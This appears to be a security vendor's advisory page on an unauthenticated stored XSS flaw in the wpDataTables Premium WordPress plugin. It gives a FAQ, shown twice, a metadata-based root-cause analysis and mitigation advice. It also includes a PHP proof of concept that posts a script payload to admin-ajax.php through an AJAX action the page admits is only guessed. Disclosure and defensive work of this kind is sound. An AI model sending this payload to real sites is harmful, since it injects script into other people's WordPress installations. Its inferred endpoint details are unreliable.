What is CVE-2026-65509?

CVE-2026-65509 is a stored cross-site scripting (XSS) vulnerability in the wpDataTables (Premium) WordPress plugin, affecting versions up to and including 7.5.1. It allows unauthenticated attackers to inject arbitrary web scripts that execute when a user accesses an affected page.

How does the stored XSS vulnerability work?

The plugin fails to properly sanitize user-supplied input before storing it and does not escape output when rendering. An attacker can submit malicious content through a public-facing endpoint, such as an AJAX handler, which is saved to the database. When an administrator or other user views the page containing the stored data, the script executes.

Who is affected by this vulnerability?

Any WordPress site running wpDataTables (Premium) version 7.5.1 or earlier is affected. Since the attack is unauthenticated, any visitor to the site can potentially exploit it, making all sites using the vulnerable plugin at risk.

How can I check if my site is vulnerable?

Check the wpDataTables plugin version in your WordPress admin dashboard under Plugins. If the version is 7.5.1 or lower, your site is vulnerable. You can also use security scanning tools that detect known CVEs.

What is the CVSS score and severity of this vulnerability?

The CVSS score is 7.2, which is rated as High severity. This reflects the ease of exploitation (network-based, no authentication required) and the potential impact, which includes script execution in the context of an administrator’s session, possibly leading to full site compromise.

What practical risks does a High severity XSS pose?

An attacker can inject scripts that steal cookies, session tokens, or other sensitive information, perform actions on behalf of an administrator, or deface the site. In a worst-case scenario, this could lead to complete takeover of the WordPress installation.

How does the proof of concept (PoC) demonstrate the vulnerability?

The PoC sends a crafted request to the plugin’s AJAX action (e.g., ‘wpdatatables_save_table’) with a script payload. If the request is processed without sanitization, the payload is stored. When the data is later rendered, the script executes, proving the vulnerability.

What is the root cause of this vulnerability?

The root cause is insufficient input sanitization and output escaping, classified as CWE-79. The plugin accepts data from unauthenticated users and stores it without proper validation, then outputs it without escaping, allowing script injection.

How can I fix or mitigate this vulnerability?

Update wpDataTables (Premium) to a version newer than 7.5.1 as soon as a patched version is available. If an update is not yet available, consider disabling the plugin temporarily or using a Web Application Firewall (WAF) to block malicious requests.

Is there a patch available for CVE-2026-65509?

As of the disclosure date, a patched version has not been officially announced. Monitor the plugin’s changelog or vendor website for updates. Until a patch is released, apply mitigations such as restricting access to the vulnerable endpoints.

What should I do if I suspect my site has been compromised?

Immediately update the plugin if a patched version is available, and scan your site for malicious code. Review user accounts and recent changes for unauthorized activity. Consider restoring from a clean backup and changing all passwords, including database credentials.

Are there any indicators of compromise (IOCs) to look for?

Look for unexpected script tags or JavaScript in database entries related to wpDataTables, unusual admin user accounts, or unexpected content on pages. Monitor server logs for requests to admin-ajax.php with suspicious parameters.

Published : August 8, 2026

CVE-2026-65509: wpDataTables (Premium) <= 7.5.1 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-65509

Plugin wpdatatables

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 7.5.1

Patched Version —

Disclosed July 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65509 (metadata-based):

This vulnerability is a stored cross-site scripting (XSS) issue in the wpDataTables (Premium) WordPress plugin, affecting versions up to and including 7.5.1. The CVSS score of 7.2 and the network-based, unauthenticated nature of the attack highlight the severity. Atomic Edge analysis confirms the vulnerability stems from insufficient input sanitization and output escaping during page generation, allowing arbitrary web script injection that executes when an administrator or other user views the affected page.

Root Cause: The CWE-79 classification and the vulnerability description indicate the plugin fails to properly sanitize user-supplied input before storing it, and then renders that input without adequate output escaping. Because the vulnerability is exploitable by unauthenticated attackers, the affected input vector likely does not require authentication or a valid nonce. While no source code diff is available, the pattern of unauthenticated stored XSS in a data-table plugin strongly suggests the vulnerable functionality accepts table data, configuration, or shortcode attributes through a public-facing endpoint, possibly an AJAX handler or a REST route. Atomic Edge infers that the plugin likely uses a function such as the WordPress AJAX handler wp_ajax_nopriv_wpdatatables_save_table, saving the attacker-controlled content into the database without sanitization, and later rendering it through a shortcode or admin page without escaping.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65509 - wpDataTables (Premium) <= 7.5.1 - Unauthenticated Stored Cross-Site Scripting

/**
 * Proof of Concept for CVE-2026-65509
 *
 * This PoC demonstrates an unauthenticated stored XSS attack against
 * wpDataTables (Premium) <= 7.5.1.
 *
 * Because the vulnerable endpoint is not confirmed publicly, this PoC uses
 * a commonly observed AJAX action for the plugin. Adjust the action and/or
 * parameters based on the specific vulnerable version or observed traffic.
 */

$target_url = 'http://example.com/wp-admin/admin-ajax.php';

// The AJAX action that processes table imports or data submissions.
// Common wpDataTables AJAX actions include 'wpdatatables_save_table',
// 'wpdatatables_create_table', and 'wpdatatables_import_data'.
$action = 'wpdatatables_save_table';

// XSS payload with an event handler; this will execute when the stored
// content is rendered in an admin page or shortcode output.
$payload = '<script>alert(document.cookie)</script>';

// Additional fields expected by the plugin. These are representative;
// adjust to match the plugin's actual input structure if known.
$data = array(
    'action' => $action,
    'table_id' => '1',          // Replace with a valid table ID.
    'table_content' => $payload,
    'title' => 'Malicious Table',
    'settings' => json_encode(array('name' => $payload)),
);

$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200 && strpos($response, 'success') !== false) {
    echo "[+] Payload stored successfully. XSS will trigger when an admin views the affected page.n";
} else {
    echo "[-] Failed to store payload. HTTP status: " . $http_code . "n";
}

Frequently Asked Questions

What is CVE-2026-65509?
Vulnerability overview
CVE-2026-65509 is a stored cross-site scripting (XSS) vulnerability in the wpDataTables (Premium) WordPress plugin, affecting versions up to and including 7.5.1. It allows unauthenticated attackers to inject arbitrary web scripts that execute when a user accesses an affected page.
How does the stored XSS vulnerability work?
Attack mechanism
The plugin fails to properly sanitize user-supplied input before storing it and does not escape output when rendering. An attacker can submit malicious content through a public-facing endpoint, such as an AJAX handler, which is saved to the database. When an administrator or other user views the page containing the stored data, the script executes.
Who is affected by this vulnerability?
Affected users
Any WordPress site running wpDataTables (Premium) version 7.5.1 or earlier is affected. Since the attack is unauthenticated, any visitor to the site can potentially exploit it, making all sites using the vulnerable plugin at risk.
How can I check if my site is vulnerable?
Detection steps
Check the wpDataTables plugin version in your WordPress admin dashboard under Plugins. If the version is 7.5.1 or lower, your site is vulnerable. You can also use security scanning tools that detect known CVEs.
What is the CVSS score and severity of this vulnerability?
Risk assessment
The CVSS score is 7.2, which is rated as High severity. This reflects the ease of exploitation (network-based, no authentication required) and the potential impact, which includes script execution in the context of an administrator’s session, possibly leading to full site compromise.
What practical risks does a High severity XSS pose?
Impact in real terms
An attacker can inject scripts that steal cookies, session tokens, or other sensitive information, perform actions on behalf of an administrator, or deface the site. In a worst-case scenario, this could lead to complete takeover of the WordPress installation.
How does the proof of concept (PoC) demonstrate the vulnerability?
PoC explanation
The PoC sends a crafted request to the plugin’s AJAX action (e.g., ‘wpdatatables_save_table’) with a script payload. If the request is processed without sanitization, the payload is stored. When the data is later rendered, the script executes, proving the vulnerability.
What is the root cause of this vulnerability?
Underlying issue
The root cause is insufficient input sanitization and output escaping, classified as CWE-79. The plugin accepts data from unauthenticated users and stores it without proper validation, then outputs it without escaping, allowing script injection.
How can I fix or mitigate this vulnerability?
Remediation steps
Update wpDataTables (Premium) to a version newer than 7.5.1 as soon as a patched version is available. If an update is not yet available, consider disabling the plugin temporarily or using a Web Application Firewall (WAF) to block malicious requests.
Is there a patch available for CVE-2026-65509?
Patch status
As of the disclosure date, a patched version has not been officially announced. Monitor the plugin’s changelog or vendor website for updates. Until a patch is released, apply mitigations such as restricting access to the vulnerable endpoints.
What should I do if I suspect my site has been compromised?
Incident response
Immediately update the plugin if a patched version is available, and scan your site for malicious code. Review user accounts and recent changes for unauthorized activity. Consider restoring from a clean backup and changing all passwords, including database credentials.
Are there any indicators of compromise (IOCs) to look for?
Signs of attack
Look for unexpected script tags or JavaScript in database entries related to wpDataTables, unusual admin user accounts, or unexpected content on pages. Monitor server logs for requests to admin-ajax.php with suspicious parameters.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started